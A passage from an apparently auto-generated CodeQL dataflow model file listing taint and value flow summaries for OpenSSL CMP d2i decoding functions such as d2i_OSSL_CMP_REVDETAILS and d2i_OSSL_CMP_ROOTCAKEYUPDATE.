"(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, 